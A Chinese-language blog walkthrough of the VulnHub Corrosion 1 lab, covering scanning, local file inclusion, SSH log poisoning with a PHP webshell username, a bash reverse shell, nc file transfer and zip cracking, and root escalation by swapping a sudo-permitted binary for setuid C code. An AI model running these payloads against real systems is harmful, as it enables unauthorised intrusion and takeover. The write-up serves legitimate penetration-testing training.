vulnhub靶场之corrosion靶场1
corrosion靶场1
前言
靶机:corrosion靶场1
攻击:kali
主机发现
使用arp-scan -l发现主机IP,这里直接查看虚拟机需要登录,不过官方并没有提供密码,所以,扫描出IP地址

信息收集
使用nmap查看端口及服务

访问80端口,apache2默认界面,访问页面源码,没有有价值的东西

目录扫描,扫出两个路径

访问bolg-post路径查看,
一段留言和一张图片,页面源码中提供当前路径下有image.jpg图像,其他暂无

那么对该路径下,再做一次扫描
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.1.30/blog-post/FUZZ -e .jpg,txt,html,png,xml

发现两个重定向文件,访问uploads后发现还是原界面,一段文字,一张图,无其他有用东西
不过,访问archives,发现有一个php文件

下载,留着后面做分析,但是这里使用wget下载,发现是空的,打开发现,原来该PHP代码在网页中是一点资源都没有,全都是PHP代码,所以无法下载,不过记住了
访问另一个tasks,有一个task_todo.txt文件,直接下载并查看内容

发现文件内容是需要完成的任务,表示应该还没有完成的,不过这里需要记住,可能设置的是定时任务。

信息小结:
- 22端口采用
OpenSSH 8.4p1 协议 2.0 - 80端口采用
apache 2.4.46 - 系统为
linux 4.x|5.x - 80端口网址中包含名称
randy - 80端口
/blog-post/archives目录下有一个PHP文件 - 80端口
/tasks目录下有TXT文件
漏洞寻找利用
可以先使用hydra对名字randy尝试进行ssh爆破,先放在这里,然后去寻找其他的方法
爆破不行,考虑其他方法,发现之前那个PHP文件虽然不能下载,但是一般PHP文件都会有参数接收的。可能会有传参,使用burp进行爆破尝试,测试发现这个参数不管是什么都不会出错,说明不在乎
那么假设这里的参数可以是本地文件包含的话,进行测试,/etc/passwd
因为我这里虚拟机中的kali使用burp爆破有点卡,所以在物理机进行测试
这里确定是参数为file

可以使用,那么之前的tasks_todo.txt文件中有提到修改auth.log的权限,去访问看看,在其中可以看到登录信息,这是之前使用hydra爆破留下的痕迹,当时用户的用户名就是randy,可以发现这里留有痕迹

既然留下用户名登录时的痕迹,是否可以写一个webshell进入,然后连接成功呢, 进行测试
这里首先测试发现kali一直提示存在不合理的字符
ssh '<?php system($_GET['cmd']);?>'@192.168.1.30
所以,采用别名方法绕过,编辑~/.ssh/config文件,在其中编写
Hostname myserver
Hostname 192.168.1.30
User '<?php system($_GET['cmd']);?>'
这时候再使用ssh连接即可
ssh myserver

测试是否成功,注意前面是通过file的传参,所以这里要使用&调用cmd测试

尝试进行一个反弹shell
在kali上开启监听
nc -lvvp 9999
echo "bash -i >& /dev/tcp/192.168.1.16/9999 0>&1" | bash
然后把上面的echo一串进行URL编码处理

提权
使用find查看有无可用的SUID权限
find / -perm -u=s -type f 2>/dev/null

发现有sudo,进行尝试,发现都不行

使用find寻找一些关键字吧,如user、pass、back等,因为数据太多,最终在back*搜索中,找到一个可疑目录

切换到目录发现有一个user开头的,很可以,进行下载

尝试解压,发现需要密码,测试发现靶机有nc可用,直接通过nc下载

在靶机上,通过nc把zip包发送给kali地址的7777端口
nc 192.168.1.16 7777 < user_backup.zip
在kali上开启,通过监听7777端口,并把传递信息保存在user_backup.zip
nc -lv -p 7777 > user_backup.zip
使用fcrackzip进行破解
fcarckzip -u -D -p /usr/share/wordlists/rockyou.txt user_backup.zip
-u 暴力破解
-D 字典模式
-p 指定字典

或者使用zip2john把zip文件改为john可识别的类型

然后使用john进行破解

知道密码后进行解压,获取ssh密钥以及密码和一个c语言编程

查看/home目录下有哪些用户

尝试使用ssh连接randy,并用获取到的密码登录

使用find查找SUID权限
find / -perm -u=s -type f 2>/dev/null
发现和上面一样,有一个sudo比较特殊,找到一个可以以root执行的文件,且当前用户不被允许以root运行/bin/bash

发现没有写权限,但是有s也就是特权,想起在之前解压文件时,提供了一个名称一样的文件

查看之前的文件,可以看到是进行一些设置,0表示特权,比如root就是0,整体就是设置提权的,然后执行下面的命令,如果在其中添加一个调动shell的是否可行

修改代码
#include<unistd.h>
#include<stdlib.h> //c语言中的标准头文件
void main()
{ setuid(0);
setgid(0);
system("/bin/bash -i");
system("cat /etc/hosts");
system("/usr/bin/uname -a");
}
然后在靶机上创建一个c文件,并把上面内容复制其中,发现vim不可用,可以使用其他的,如vi、nano等

然后使用gcc命令进行编译,注意,编译出的文件要与可执行特权的文件名一致easysysinfo
而且可以看到这里的s特权已经没有了

但是使用sudo -l却表示,这里还是可以的

以sudo执行文件,发现提权成功

总结
- 目录扫描时若发现有
php类似脚本文件,可能会有参数传值,可以进行参数爆破 - 利用文件包含获取新的
bash - 压缩包的密码破解,可以使用工具
fcrackzip或者john套件 - 提权时,仔细观察具有SUID的,假设
sudo,这里就是通过sudo -l来查询,然后同名替换,执行提权
本文来自博客园,作者:whitehe,转载请注明原文链接:https://www.cnblogs.com/whitehe/p/18578395

浙公网安备 33010602011771号